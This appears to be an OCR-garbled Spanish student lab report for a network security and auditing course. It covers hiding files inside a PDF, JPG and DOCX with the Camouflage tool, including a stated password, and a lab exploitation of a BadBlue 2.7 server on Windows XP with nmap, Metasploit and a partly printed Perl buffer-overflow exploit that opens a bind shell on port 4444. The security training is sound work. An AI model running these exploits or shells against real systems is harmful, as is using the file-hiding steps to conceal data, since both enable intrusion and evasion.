Se abre el programa Camouflage y se seleccionan los archivos a ocultar, incluyendo
informes y archivos multimedia, para la prueba de camuflaje.
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=]

Settingz

Camouflage

Thesze filez will be hidden within pour camouflaged file.

At

tribute:s

MFORME #5 - #SEGURIDAD v ALUDITORIA DE RED. . A513 KB

I

s Taga p Mackie feat. Arcangel v de La Ghetto - Aparent... 10272 KB A
é Michael Jackzon - You Are Mot Alone [Official Yideo] - ... 11.849KE A
T INFORME HE -# INSTALACION DE TP-LINK-#SEGLUR... BEOEE A
|_l;_?] Yizca_barcelona.jpg EY KB )

Click here to get the |atest version Hext Cloze

Illustracion 50 Evidencias y logs

Se elige un archivo anfitrion que servird como portada o apariencia para el archivo
camuflado que se va a crear.

Camouflage

- OX]

Yaour camauflaged files will be made ta laok and act like the fallawing file.

Camoflage Lszing ﬂJ

Click here to get the latest version ¢ Back Mest > Close |

Ilustracion 51 Evidencias y logs

Se utiliza el explorador de archivos para seleccionar el archivo anfitrion. Se elige el
INFORME #5 (un archivo PDF) como la cubierta del camuflaje.
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Select file to use as camouflage

\$

bdiz documentos

iz zitioz de red

Buscar e | @ Escritario ﬂ |‘j€ Eq~
L @Mis documentos
L&é o MipC
Dacumentos ‘HMis sitios de red
== ﬂ Adobe Reader &
II‘_'hl__"_ e YLC media plaver
B2 z.0_adberdren_en_LUs
E zcritonio

= BadBlue Personal Edition

B badblue-pe-2.72a

@ Camoulzl

-E INFORME #5 - #3EGURIDAD ¥ AUDITORIA DE REDES#SEMESTRE 9 - 2025 - 1

-_E INFORME #6 -# INSTALACION DE TP-LIMK-#3SEGURIDAD ¥ AUDITORIA DE REDES#SEME
Einternet-explDrer-B-para-xp-

é Michael Jackson - ¥ou Are Mot Alone (OFFicial Yideo) - michaeljacksonWEY D (360p, h2a4)
E’] Yisca_barcelona

2 vlc-3.0,18-win32

) b
Marnbre: | j Abrir |
Tipo: |,-'1'-,|| Files j Cancelar

Ilustracion 52 Evidencias y logs

Se confirma la seleccion del documento INFORME #5 como archivo de camuflaje
o archivo anfitrién.
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Select file to use as camouflage

Buscar en: |@ Ezcritario j fj( v
2 BMis documentos
L‘é‘ 4 MiPC

Dacumentos ‘HMis sitins de red

e il ﬂ #dobe Reader &
E‘.E YL media plaver
B2 z.0_adberdran_en_Us
E scritorio % BadBlue Personal Edition
_ B badblue-pe-2.72a
‘-’-} E@ CamoulZl

? INFORME #5 - #SEGURIDAD ¥ AUDITORIA DE REDES#SEMESTRE 9 - 2025 - 1

_-j INFORME #6 -# INSTALACION DE TP-LINK-#3EGURIDAD ¥ AUDITORIA DE REDES#SEME
- Einternet-explnrer-ﬁ-para-xp-
. Q Michael lackson - You Are Mot Alone (OFficial Yidea) - michaeljacksonWEND (360p, h2a)
.Mi PC Ltj Wisca_barcelona
i ¥lc-3.0,18-win32

Miz sitios dered  Mambre: |INFEIHME H#5 - HSEGURIDAD Y AUDITORLA DE HEDEﬂ &hbrir |

Tipo: |,-ﬁ-,|| Filez j Cancelar

Illustracion 53 Evidencias y logs

ol

Se verifica la ruta del archivo anfitrion (INFORME #5) que sera utilizado para el
camuflaje.
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BX

Camouflage

Y'our camouflaged files will be made to look and act like the following file.

Camouflage Uszing C:\Documents and S ettingz wapner_antonio_moya \Escritorio M j J

Click here to get the latest version < Back

Cloze |

Ilustracion 54 Evidencias y logs

Se establece el nombre del nuevo archivo camuflado y se marca la opcion "Read-
only" para evitar modificaciones accidentales.

— AED
Choose the location and filename for the camouflage file that is about to be created.
Create This File |L|FI|D.-5'-.D v 4UDITORIA DE REDESHSEMESTRE 9_-_2025 | 'IﬂJ
Iv Read-only
Click here to get the latest version < Back Mest > Cloze |

Ilustracion 55 Evidencias y logs

Se introduce y se verifica una contraseiia de seguridad para proteger el archivo
camuflado, afiadiendo una capa de proteccion a los datos ocultos.
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Camouflage

Enter a zecurity pazzward for pour camouflaged file if pau wizh,

Ixxxxxxxx

Paszword

Ixxxxmmx

Werify Password

Click here to get the latest version < Back Einizh Cloze

Illustracion 56 Evidencias y logs

El archivo camuflado aparece en el escritorio con el icono de PDF y el nombre del
INFORME #5, pareciendo un archivo normal.

s
INFORME #5 -
#SEGURIDAD

¥ AUDITORIA

DE
REDES#SEMES
TRE9_- _202

S |

Ilustracion 57 Evidencias y logs

Al abrir el archivo camuflado con aspecto de PDF, se muestra el contenido del
Informe 5 en Adobe Reader, comportandose como un archivo comun.
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i INFORME #5 - #SEGURIDAD Y AUDITORIA DE REDES#SEMESTRE @ - 2025 - 1.pdf - Adobe Reader

il File Edt View Document Tools ‘Window Help ®

B & el ieelwm FHE
" :
: @
1

Universidad Tecnal
Diego Luis

INFORME 3

EVALUACION DE SEGURIDAD A LAMPIAO DESDE KALI LINUX

I (MAQUINA ATACANTE)

ESTUDIANTE:

SANTIAGO QUINTO COPETE

Illustracion 58 Evidencias y logs

Se ejecuta la opcion "Uncamouflage' para des-camuflar el archivo, y se requiere
ingresar la contrasefia de seguridad para acceder a los archivos ocultos.

FOTOS

Se debe ingresar con la contrasefia es: utch2025
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Camouflage L El [z|
Enter the pazsword [if any) to extract the files friom the camouflaged file. Settings
Pazzward ||
Click here to get the latest version Mest > Close

Ilustracion 59 Evidencias y logs

Camouflage muestra la lista de archivos que estaban ocultos dentro del archivo
camuflado, listos para ser extraidos.

2 Camouflage

The camouflaged file [created with Camouflage v1.2.7] contains these files. Select the files you wizh to extract or leave them unzelected to extract them all.

M ame | Size | Atributes
INFORME #5 - #SEGURIDAD ¥ AUDITORIA DE RED... 3513KE A
MFORME #5 - #SEGURIDAD Y ALDITORIA DE RED... 3513KRB
“'aga y Mackie feat. Arcangel v de La Ghetto - Aparent. . 10272 KB
Michael Jackzon - You Are Mot Alone [Dfficial Videa) - ... 11.843 KB
MFORME HE -# INSTALACION DE TP-LIMK-BSEGUR. . BE0KE
Wizca_barcelona.jpg E7 KB

el i

Illustracion 60 Evidencias y logs
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Se repite el proceso, seleccionando ahora la imagen Visca_barcelona.jpg como el
nuevo archivo anfitrion para camuflar los datos.

Camouflage

Your camouflaged filez will be made to look. and act like the following file.

Camouflage Uszing C:ADocuments and Settingshwapner_antonio_mowa_ \E zoitoriohizca_barcelona.jpg ﬂJ

Click, here to get the latest verzion Cloze

Illustracion 61 Evidencias y logs

Se define el nombre de salida para el camuflaje como Visca barcelona.jpg y se
marca la casilla ""Read-only".

Camouflage E| [z|

Choosze the location and filename for the camouflage file that iz about to be created.

Create Thiz File |E:"~D ocuments and 5 ettingswwapner_antonio_moya_\E scritoriot_Misca_barcelona jpg jJ

v Read-only

Click here to get the latest version < Back Mt > Close

Ilustracion 62 Evidencias y logs

Al abrir el archivo camuflado
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con apariencia de JPG, este se comporta como una imagen normal, mostrando el escudo
del FC Barcelona.

= _Visca_barcelona - Visor de imagenes y fax de Windows

Q0 =E=&7 PP anr XLHdHE| @

Illustracion 63 Evidencias y logs
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Se verifica nuevamente que el camuflaje con aspecto de PDF (INFORME 5) sigue
funcionando, abriendo el documento en Adobe Reader.

INFORME #5 - #SEGURIDAD ¥ AUDITORIA DE REDES#SEMESTRE 9_ - 2025 - 1. pdf - Adobe Reader
Fle Edit Wiew Document Tools ‘window Help x

H & e e[ @@ o - e .

INFORME 5

EVALUACION DE SEGURIDAD A LAMPIAO DESDE KALI LINUX

(MAQUINA ATACANTE)

ESTUDIANTE:

SANTIAGO QUINTO COPETE

| &

Ilustracion 64 Evidencias y logs

Se comparan las propiedades del PDF original y el PDF camuflado, destacando un
aumento significativo en el tamafio del archivo camuflado y el tamafio tiene la original tiene
13,43mb (3.597.675bytes) y la de camuflado tiene 29,3 mb (30,768,955 bytes)



Propiedades de INFORME #5 - #SEGURIDAD Y AUDITO... (2]

General |poF | Resumen |

&

——— Propiedades de INFORME #5 - #SEGURIDAD Y AUDITO... | s

General |PDF | Resumen |

| AUDITORIA DE REDES#SEMESTRE 9 - 2025 - 1 |

Tipo de archivo:

Se abre con:

Adobe Acrobat Document:

Ubicacidn:
Tamario:

Tamario en disco:

Ci\Documents and Settingsiwayner _antonio_moy.
3,43 MB (3,597,575 bytes)

3,43 ME (3,600,384 bytes)

Creado:
Modificado:

Ulkimo acceso:

miércoles, 08 de octubre de 2025, 22:54:04
miércoles, 08 de octubre de 2025, 22:45:43

miércoles, 08 de octubre de 2025, 23:17:59

Atributos:

[J58la lectura [] oculto

Opciones avanzadas. ..

Aplicar

&

Universidad Tecnoldgica del Choco
Diego Luis Cordoba

63

| DITORIA DE REDES#SEMESTRE 9_- _2025 - 1 |

Tipo de archivo:

Adobe Acrobat Document

Tamafio en disco:

Se abre con: ' Adobe Reader 8.0
Ubicacidn: C:\Documents and Settingstwayner_antonio_moy.
Tamario: 29,3 MB (30,798,955 bytes)

29,3 MB (30,501,920 bytes)

Creado:
Modificado:

(ltimo acceso!

miércoles, 08 de octubre de 2025, 22:54:04
miércoles, 08 de octubre de 2025, 22:45:43

miércoles, 08 de octubre de 2025, 23:11:04

Atribukos:

Slo lectura ] Oculko

Opciones avanzadas., ..

Ilustracion 65 Evidencias y logs

Aplicar

Se comparan las propiedades del JPG original y el JPG camuflado, observando el
considerable aumento de tamafio en el archivo camuflado.
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Propiedades de Visca_barcelona m

General FP?esumen | a_b:

!1] [ Visca_barcelona 1

Propiedades de _Visca_barcelona

General |Resumen |

!ﬂ | _Visca_barcelona ‘

Tipo de archivo: Imagen JPEG
: @R i i -
Stabre con: @ Visor delimagenies Tipo de archivo: Imagen JPEG
: ™ o -
Ubicacién: C:\Documents and Settings\wayner_antonio_moy. Se abre con: [#) visor de imagenes y
Tamafio: 67,2 KB (68,865 bytes)

Ubicacién: C:\Documents and Settings\wayner_antonio_moy.
Tamafio en disco: 68,0 KB (69.632 bytes)

Tamarfio: 26,0 MB (27.270.145 bytes)

Tamarfio en disco: 26,0 MB (27.271.168 bytes)

Creado: miércoles, 08 de octubre de 2025, 22:54:04
Modificado: martes, 07 de octubre de 2025, 9:47:23 Creado: miércoles, 08 de octubre de 2025, 22:54:04
(ltimo acceso: miércoles, 08 de octubre de 2025, 23:17:58

Modificado: martes, 07 de octubre de 2025, 9:47:23

(ltimo acceso: miércoles, 08 de octubre de 2025, 23:18:04

Atributos: Sélo lectura []Oculto

Atributos: [[]séla lectura []Oculto

Aceptar Cancelar Aplicar

Ilustracion 66 Evidencias y logs

Se comparan las propiedades de un archivo DOCX antes y después del camuflaje,
verificando el atributo de Solo lectura y el cambio de tamafio.
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Propiedades de INFORME #6 -# INSTALACION DE TP-L... 2 |[X]| | Propiedades de INFORME #6 # INSTALACIONDE TP L... [ ? |[X
General | Resumen | a General | Resumen |
Ty ES T

|| | 14 DE REDES#SEMESTRE _9 - 2025 _-_1.docx | el || | ITORIA DE REDES#SEMESTRE 9 - 2025 - 1.docx |
Tipo de archivo; Archiva DOCH Tipo de archiva: Archivo DOCR
Se abre con: Aplicacién desconacida Se abre con: Aplicacion desconocida
Ubicacion: C:\Documents and Settingsiwayner_antonio_movy. Ubicacion: Ci\Documents and Settingsiwayner_antonio_moy.
Tamario: 33,8 MBE (35.495.134 bytes) Tamafio: 718 KB (735.703 bytes)
Tamario en disco: 33,8 ME (35,495,936 bytes) Tamario en disco: 720 KE (737.280 bytes)
Creado: migrcoles, 08 de octubre de 2025, 23:26:18 Creado: migrcoles, 08 de octubre de 2025, 23:26:18
Modificado: migrcoles, 08 de octubre de 2025, 23:25:35 MModificado: migrcoles, 05 de octubre de 2025, 23:25:38
(lltimo acceso: miércoles, 05 de octubre de 2025, 23:26:34 (lltime acceso: miércoles, 08 de octubre de 2025, 23:27:45
Atributos: slo leckura [ Qculko Atributos: [J5éla lectura [ Oculta

Areptar l ’ Cancelar ] Aplicar Aceptar ] [ Cancelar Aplicar

Illustracion 67 Evidencias y logs

Se selecciona el programa para abrir el archivo DOCX, eligiendo Adobe Reader
8.0 para probar el camuflaje con un tipo de archivo diferente.
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Abrir con

?]X]

- ] Elija el programa que desea usar para abrir el siguiente archivo:
! A

Archivo: INFORME #6 -# INSTALACION DE TP-LIME-#5...

Programas

n Adobe Reader 8.0
2 Aplicacion MFC WORDPAD
E Eloc de notas

"_E Internet Explorer

Y Paint n
& reproductor de Windows Media
g Yisor de imagenes v Fax de \Windows

é YLC media plaver I

Escriba la descripcion que desee para este tipo de archivao:

Ltilizar siempre el programa seleccionado para abrir este tipo de archivos
Examinar, ..

Si el programa que busca no esta en la liska o en su equipo, usted puede buscar
el programa apropiado en el Web,

Acepkar l [ Zancelar

Illustracion 68 Evidencias y logs

Se comprueban nuevamente las propiedades del archivo DOCX, confirmando el
cambio de tamafio y el estado de Solo lectura aplicado.
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Propiedades de INFORME #6 # INSTALACION DE TP-L... | ? | X| Propiedades de INFORME #6 -# INSTALACION DE TP-L... [?][X]

General | Resurnen | General | Resumen |
m .... r =
|| | ITORIA DE REDES#SEMESTRE 9 - 2025 - 1.docx | || | IA DE REDES#SEMESTRE 9 - 2025 - 1.docx |

Tipo de archivo: Archivo DOCK Tipo de archiva: Archivo DICK

Se abre con: Aplicacion desconocida Se abre con: Aplicacian desconocida
Ubicacion: C:\Documents and Settingsiwayner_antonio_may. Ubicacidn: CiiDocurments and Settingsiwayner_antanio_moy.
Tamario: 718 KB (735,703 bytes) Tamario: 33,8 ME (35.495.154 bytes)

Tamario en disco: 720 KB (737,280 bytes) Tamafio en disco: 33,8 MB (35,495,936 bytes)

Creadn: migrcoles, 08 de octubre de 2025, 23:26:18 Creado: migrcoles, 08 de octubre de 2025, 23:26:18
Modificada: migrcoles, 08 de octubre de 2025, 23:25:35 Modificado: miércales, 08 de octubre de 2025, 23:25:38

Lltima accesn: miercoles, 08 de octubre de 2025, 23:27:45 Ulkima acceso: miércales, 08 de octubre de 2025, 23:26:34

atrbutas: [ Sélolectura []Oculko Atfbtes:  [(]séla lectura (] Cculko

Aceptar ] [ Cancelar Aplicar [ Acepkar J ’ Cancelar ] [ aplicar

Illustracion 69 Evidencias y logs

Vista final del escritorio con los archivos camuflados (JPG, PDF, DOCX), simulando
ser archivos normales, listos para la siguiente etapa del informe
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i

_Visca_barc, .,

Lisierse)

Illustracion 70 Evidencias y logs

Por ultimo se debe agregar un programa para crear un

Select an output file IEHE

Guardar en: Ix"-.-’ariades en '""YBoxSwr' [1") j ] |=j€ Ed-

@

Documentos
recientes

&

E zcritorio

bdiz documentos

Miz zitioz de red  Mombre: I j [uardar I
j Cancelar |
B

]

Tipo: I * ene

Illustracion 71 Evidencias y logs
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Ilustracion 72 Evidencias y logs

ledades dawinrar-x64.713es i m Propiedades de winrar-x64-713es

General |Versi0’n || Compatibilidad || Hesumen|

General |'v'ersi0'n || Resumen |

. N
| winrar-s64-713es |I | winrar-x64-713es

Tipo de archivo: Aplicacion

Tipo de archivo: Archiva

Lescripcin: it b Descripcion: WinRAR

Ubicacidn: C:AD ts and Settingsy toni . . ]
e HEUMENLS Snd 2 EINGS APNEL_anianio_mowa Ubicacian: Documents and Settingstwayner_antonio_moy.

VEmEHE SIS (EErEISUirE Tamafio: 78,2 MB (52,040,503 bytes)

Tarmafo en disco: 379 ME [3.977. 216 bytes] T amafia en disco: 76,2 MB (52,042,580 bytes)

Creado: jueves, 09 de octubre de 2025, 0:06:08 G jusves, 09 de actubre de 2075, 0:06:06

bicdlicadc e, U5 €2 CRlins @ A3, 223 Modificado: lunes, 06 de octubre de 2025, 22:56:58

Wi eEe=ss eies, ) s @aiiine a A, T2 Ulkimo acceso: jueves, 09 de octubre de 2025, 0:11:04

Atributos: Sdlo lectura Oculta q p
O O Dpciohes avahaadas.. Atributos: Sélolectura [ Qeulko

HERED ] ’ Eancelar] e Acepkar l ’Cancelar Aplicar

Illustracion 73 Evidencias y logs

12 SEGUNDO CAPITULO

13 ERRORES
13.1 EXPLOTAR BADBLUE

13.2 Escaneo de Red (Nmap)

Comando: nmap -sV 192.168.23.0/24 (escaneo de servicio) y nmap -sS -Pn
192.168.23.0/24 (escaneo Stealth sin ping).

Resultados de Hosts Ildentificados:
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> 192.168.23.1: Host activo con los puertos 135/tcp (msrpc - Microsoft
Windows RPC) y 445/tcp (microsoft-ds) abiertos. Sistema Operativo
identificado como Windows.

> 192.168.23.2: Host activo, pero con 1000 puertos cerrados. Identificado
como maquina virtual (Oracle VirtualBox).

» 192.168.23.3: Host activo con el puerto 3389/tcp abierto (ms-wbt-server
- Microsoft Terminal Services). Identificado como maquina virtual
(Oracle VirtualBox).

Starting Nmap 7.95 ( :f/nmap.org ) at 2025-10-09 21:34 EDT
Nmap scan report for

Host is up (@.0013s 1 V).

Not shown: 998 filters ports (no-response)

PORT STATE SERV VERSION

135/tcp open msrpcC Microsoft Windows RPC

445/tcp open microsoft-ds?

MAC Address: 52:55:C@:A8:17:81 (Unknown)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan repo

Host is up (@. Late

All 180@ scanned ports on 192.168.:
Not shown: 1@ losed tcp ports
MAC Address: ¢ 127:AA64:B4 (PC
IC)

Host is up (@. .
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

rirlt]

o me o

llustracion 74 Nmap -sV
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kali@kali: ~

Session Actions Edit View Help

Nmap done: 256 IP addresses (4 hosts up) scanned in 8.95 seconds

-~

192.168.23.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 21:54 EDT
Nmap scan report for 192.168.23.1
Host is up (0.0016s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
445/tcp open microsoft-ds
MAC Address: 52:55:C0:A8:17:01 (Unknown)

Nmap scan report for 192.168.23.2

Host is up (0.00026s latency).

All 1000 scanned ports on 192.168.23.2 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:AA:64:B4 (PCS Systemtechnik/Oracle VirtualBox virtual N
1C)

Nmap scan report for 192.168.23.3

Host is up (0.0018s latency).

Not shown: 999 filtered tcp ports (no-response)

PORT STATE SERVICE

3389/tcp open ms-wbt-server

MAC Address: ©08:00:27:2E:C9:8D (PCS Systemtechnik/Oracle VirtualBox virtual N
1 ()

llustracion 75 Nmap -sS -Pn

13.3 Servidor BadBlue

Una de las imagenes muestra una ventana del navegador Internet Explorer en un
sistema operativo Windows XP, accediendo a una interfaz web.

» Identificacion: El titulo de la pagina es "BadBlue: the file-sharing web
server anyone can use".

» Objetivo de la Explotacion (Implicito): Aunque no aparece en los
primeros escaneos, la configuraciéon posterior de Metasploit confirma
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que el host objetivo es 192.168.23.5, que esta ejecutando el servicio
BadBlue.

e Faverkos | gy B o supaacos + 8] rotmsloranato. B Glda o Web e +
B 5eien: e iesharing et server s can e

B8

File search: e Bl
Search using & partial word (inv matd s=sadsheets over
ety Mo £ M hoea st

ol et o u B o« e vk Easy. Guaranteed

BadBlue
Enterprise Edition

o

13.4 Explotacion con Metasploit
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isploit Park, System Security Interface
rsion 4.8.5, Alpha E

> access security
access: PERMISSION DENIED.

wccess: PERMISSION DENIED.
access main security grid
PERMISSION DENIED....and ...

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid?7 Open Source Project

Se selecciona el modulo exploit/windows/http/badblue_ext overflow. Este modulo
esta disefiado para aprovechar un desbordamiento de bufer (buffer overflow) especifico en
la extension HTTP del servidor BadBlue.
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msf > search badblue

Matching Modules

# MName Disclosure Date Rank
Description

® exploit/windows/http/badblue
BadBlue 2 EXT.dLL Buffer Over

1 exploit/windows/http/badblue_p
BadBlue 2.72b PassThru Buffer O

2 S ti : BadBlue EE 2.7

_ target: BadBlue 2.72b Universal

Interact with a module by name or index. For example inf 3,

After interacting with a module you can manually set a TARGET with set

Configuracion de Opciones (options):

> RHOSTS (Host Objetivo Remoto): Se establece la IP del servidor BadBlue, que
es 192.168.23.5.

> RPORT (Puerto Remoto): Se usa el puerto HTTP por defecto, 80.

> LHOST (Host de Escucha Local - Atacante): Se establece la IP de la méquina
Kali (atacante), que es 192.168.23.4.

> LPORT (Puerto de Escucha Local): Se configura el puerto 4444 para recibir la
conexion inversa (reverse connection).



Module options

Name

Payload
Name
EXITFUNC
LHOST

LPORT

) > options

ploit/windows/http/badblue_ext_overflo

Current Setting Required cription

A proxy chain of for
host:port][ .

sapni, sockss,

pr

Required

d, process, non

y be specified)
The listen port

command .

Ilustracion 76 Explotacion
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/pe:host:po

pported

socks5, http
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"

msf exploit( ) > options
Module options (exploit/windows/http/badblue_ext overflow):

Name Current Setting Required Description

RHOSTS

or outgoing conne

r virtual host

Payload options (windows/meterpreter/re
Name Current Setting Required Description

EXITFUNC process T Exit technigue (Accepted:

Ilustracion 77 explotacion

14 Cargas Utiles (Payloads):

e Primer Intento: windows/meterpreter/reverse_tcp.

e Segundo Intento: windows/vncinject/reverse tcp, que busca inyectar una sesion de
VNC (para control grafico).

Resultado de la Ejecucion (exploit): En ambos intentos mostrados, el exploit finaliza sin
éxito, indicando: "Exploit completed, but no session was created." (Explotacion
completada, pero no se cred ninguna sesion).

£ .5 (Univ
loit completed, but no session wa
(ploit(
ayload = windows/vncinject/reverse_tcp
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Script de Chequeo Manual

Tras el fallo del intento automatizado de Metasploit, se muestra un script en lenguaje Perl
(4784.pl). Este codigo se utiliza para una prueba manual y detallada del comportamiento
del servicio objetivo ante una peticion especifica.

o Peticion Clave: El script construye una peticion HTTP que contiene la ruta
/ext.dll?mF=test;. Este path est4 asociado con la extensiéon DLL vulnerable de
BadBlue.

14.1 CORRECION

14.2 RECONOCIMIENTO Y DESCUBRIMIENTO DEL OBJETIVO

Veamos a esta ventana de Windows xp ipconfig en Windows XP muestra que el
sistema tiene dos adaptadores de red, uno con la IP 192.168.23.3 y otro con la IP
192.168.23.5.

Microsoft Windows XP [Uersion 5.1.26801
(C» Copyright 1985-2801 Microsoft Corp.

JC :~Documents and Settings“wayner_antonio_moya_Jipconfig

Conf iguracion IP de Windows

Adaptador Ethernet Conexidn de &rea local :

Sufijo de conexidn especifica DNS RED—-UNI—-CHOCO
Direccion IP. . . . . . . . . . . 192.168.23.3
Miscara de subred . . . . . . . . 255 .255.255.8
Puerta de enlace predeterminada 122.168.23.1

iﬂdaptadur Ethernet Conexidn de area local :

i Sufijo de conexidn especifica DNS RED—UNI-CHOCO
Direccidn IP. . . . . . . . . . . 192 _.168.23.5
Miscara de subred . . . . . . . . 255 .255.255.8

| Puerta de enlace predeterminada 122.168.23.1

Ilustracion 78 Ipconfig de windows xp
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Veamos la siguiente ventana del navegador Internet Explorer muestra que se esta
ejecutando el servidor web BadBlue en la IP de loopback (127.0.0.1), lo que confirma la

presencia de la aplicacion

leader +E

{= BadBlue: the file-sharing web server anyone can use - Windows Internet Explorer

)
L SAD |g, htkpe/1127.0.0. fext. diFmf cisapicommand=loadpagedpage: |V @ [ X # Live Search

Archiva  Edicidn  Wer  Favoritos  Herramientas  Ayuda

|| 7 Favoritos | 95 @] Sitins sugeridos + @ Hotmail grakuite @ | Galeria de Wieh Slice v
| | @ - B = @ v Pagina - Seguridad »  Herramientas ~ @v

»

i
barc ‘u

3 serving. publishing, sharing.

- Search I.J oldi

=y

e

| @ BadBlue: the file-sharing web server anyone can use

File search: ||

Share your Excel

Search using a partial word (inv matches SpreadShee"S over
invoices), by file extension (jpg, mp3, xls,
...) OF with multiple words (photo album the WEb' Fa‘St -

would match all files that include the words
Tmi =re 2, Easy. Guaranteed.

=34 or
BadBlue
Enterprise Edition

i .| Error en la pagina. [@ @ mnternet sy v Hioow <

Illustracion 79 La pagina de web en windows xp

Escaneo Nmap: Se utiliz6 Nmap para escanear el objetivo (192.168.23.5).

Servicios Identificados: El escaneo confirmé que el puerto TCP 80 esta abierto y
ejecuta BadBlue httpd 2.7. Esta informacion es fundamental para identificar la
vulnerabilidad correcta. También se encontraron otros servicios comunes de Windows como
MSRPC (135), netbios-ssn (139), microsoft-ds (445) y ms-wbt-server (3389).
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Nmap scan r
Host is up (@
shown: 995 clos
ATE SER

open http
open mMsSIpC
open netbios-ssn
open

:windows

Host is up (&
ALl 1¢
Not shown:

ny incor Lt ://nmap.org/submit/
scanned in 2

Ilustracion 80 Scaneo de kali linux

searchsploit: Se usoé la herramienta searchsploit (de Kali Linux) con la palabra clave
badblue

|:-_-: archsplc bédblue
Exploit Title

P - 'ext.dll' Remote Buffer Overflow (Metasploit)
2 File Sharing Remote Buffer Overflow
2

- Web Server Remote Buffer Overflow
- PassThru Remote Buffer Overflow
- Multiple Vulnerabilities
- PassThru Buffer Overflow (Metasploit)
Working Resources 1.7.3 Null Byte File Disclosure
Working Resources 1.7.x Administrative Interface Arbitrary File Access
Working Resources 1.7.x/ - 'ext.dll' Command Execution
Working Resources Denial of Service
Working Resources Full Path Disclosure
Working Resources /1.6 - Directory Traversal
Working Resources - 'ext.dll' Cross-Site Scripting
Working Resources .1 - Search Page Cross-Site Scripting
Working Resources 3 - 'cleansearchString()' Cross-Site Scripting
Working Resources - GET Denial of Service
Working Resources '2.%x - Unauthorized HTS Access
Working Resources X - Unauthorized Proxy Relay
Working Resources - MF pICommand Remote Buffer Overflow (1)
Working Resources .55 - MFCISAPICommand Remote Buffer Overflow (
Working Resources Server 2.4@ - 'PHPtest.php' Full Path Disclosure

=

i
i
i
i
i
i
i
i
i
i
P

Shellcodes: No Results

Illustracion 81 Explotacion de badblue
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Se encontrd una gran cantidad de exploits, destacando el ""BadBlue 2.72 - PassThru
Remote Buffer Overflow". La version identificada en Nmap (2.7) es anterior o igual a la
version vulnerable, lo que lo hace un candidato viable.

—( )~ [~]
: searchsploit -p windows/remote/4784.pl
Exploit: BadBlue 2.72 - PassThru Remote Buffer Overflow
URL: https://wwmw.exploit-db.com/exploits/4784
Path: /usr/share/exploitdb/exploits/windows/remote/4784.pl
Codes: OSVDB-42416, CVE-2007-6377
Verified: True
File Type: Perl script text executable
Copied EDB-ID #4784's path to the clipboard

Ilustracion 82 Explotacion en kali a windows xp

El comando cp /usr/share/exploitdb/exploits/windows/remote/4784.pl. . es la
accion de copiar el script de Perl (4784.pl) a la carpeta de trabajo, esencial para poder
modificarlo y ejecutarlo

]—-~:|

) /usr/sharé/expl0itdb/exploits/windows/remoteﬂﬂaﬁ.pl .

Ilustracion 83 Copiar archivos y directorios

Se copid el exploit 4784.pl (un script Perl) desde la base de datos de exploits a la
carpeta de trabajo

— )-[~]

4784.pl  badblue272.pl

Ilustracion 84 Listar el contenido de un directorio

Luego lo colocamos el comando es nano 4784.pl para probablemente verificar o
modificar la shellcode (carga ttil). La shellcode incrustada es una bind shell o reverse shell
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de Metasploit (metasploit win32 bind - EXITFUNC=seh LPORT=4444...) disefiada para
conectarse al puerto 4444.

)-[~]
4784 .pl

Ilustracion 85 Editor de texto simple y versatil

Se abri6 esta ventanita y la explotacion exitosa del servidor BadBlue 2.7 en
Windows XP. Primero, Nmap identifico el servicio HTTP en la IP 192.168.23.5.
Luego, se selecciond el exploit de desbordamiento de bufer PassThru (CVE-2007-
6377). Se utilizé un script Perl modificado con una bind shell en el puerto 4444. Al
ejecutar la peticion maliciosa, se logro la Ejecucion Remota de Cddigo (RCE),
obteniendo acceso completo al sistema mediante una shell de comandos. Esto
demostro la criticidad de mantener el software actualizado.

H cigki- B olgkl- B

Ilustracidn 86 editor de texto simple y versatil
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4784.pl

Location
Wi Go To Line

Illustracion 87 Editor de texto simple y versatil

Luego de eso, escribimo el comando es cat 4784.pl y la explotacion exitosa del
servidor BadBlue 2.7 en Windows XP. Primero, Nmap identific6 el servicio HTTP en la IP
192.168.23.5. Luego, se selecciond el exploit de desbordamiento de bufer PassThru Se
utiliz6 un script Perl modificado con una bind shell en el puerto 4444. Al ejecutar la peticion
maliciosa, se logro la Ejecucion Remota de Cddigo, obteniendo acceso completo al sistema
mediante una shell de comandos. Esto demostrd la criticidad de mantener el software
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actualizado.

.t 4784.pl
#! /usr/bin/perl -w
://aluigi.altervista.org/adv/badblue-adv.txt

W . selulltvfo Is.C m/bld;J08@1

Credit to Luigi Auriemma
opo Cervini acarod@jervus.it
12/2007

hﬁ:kk:ﬂ::ﬂ::ﬂ::ﬁ::ﬂ::ﬁ:k

use I0::Socket;

if(1($ARGV[1]))

{

print "Usage: badblue-272-seh.pl <victim> <port>\n\n";

exit;

}

# metasploit win32 _bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum

eb\x z
\«49\«51\

Ilustracion 88 Concatenar
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$victim = I0::Socket :: INET—new(Proto= "tcp',
PeerAddr= $ARGV[0],
PeerPort=$ARGV[1])
or die "can't connect to $ARGV[@] on port $ARGV[1]";

= "\x43"x8;
= "\x43"x59;

$exploit = "GET /ext.dll?mfcisapicommand=PassThru&". $pad® . $shellcode . $pad . $jmp . $seh
ad2. "HTTP/1.0"."\r\n\r\n";

print $victim $exploit;

print + Malicious GET request sent

sleep(1);
print "Done.\n";
close($victim);

= $ARGV[O];

+ Connect on port 4444 of $host ...\n";
sleep(2);

system("telnet $host 4444");

exit;

llustracion 89 Concatenar

14.3 Ejecucion del Exploit
El exploit se ejecutd con el comando ./badblue.272.seh.pl 192.168.23.5 80

El script envié una "Malicious GET request" y luego intent6 conectarse al puerto 4444
de la victima 192.168.23.5 usando telnet.
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5:[~:

+ Malicious GET request sent

Done.

+ Connect on port 4444 of 192.168.23.5 ...
Trying 192.168.23.5...

Connected to 192.168.23.5.

Escape character is '"]°'.

Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>}}

El comando curl -I http://192.168.23.5:80/ revela la cabecera Server: BadBlue/2.7,
verificando la version exacta y la existencia del servicio HTTP antes de la explotacion

— I http://192.168.23.5:
HTTP/1.1 288 OK

Server: BadBlue/2.7
Content-Type: text/
Accept-Ranges: byte

Date: Wed, 15 Oct 2025 04:23:06 GMT

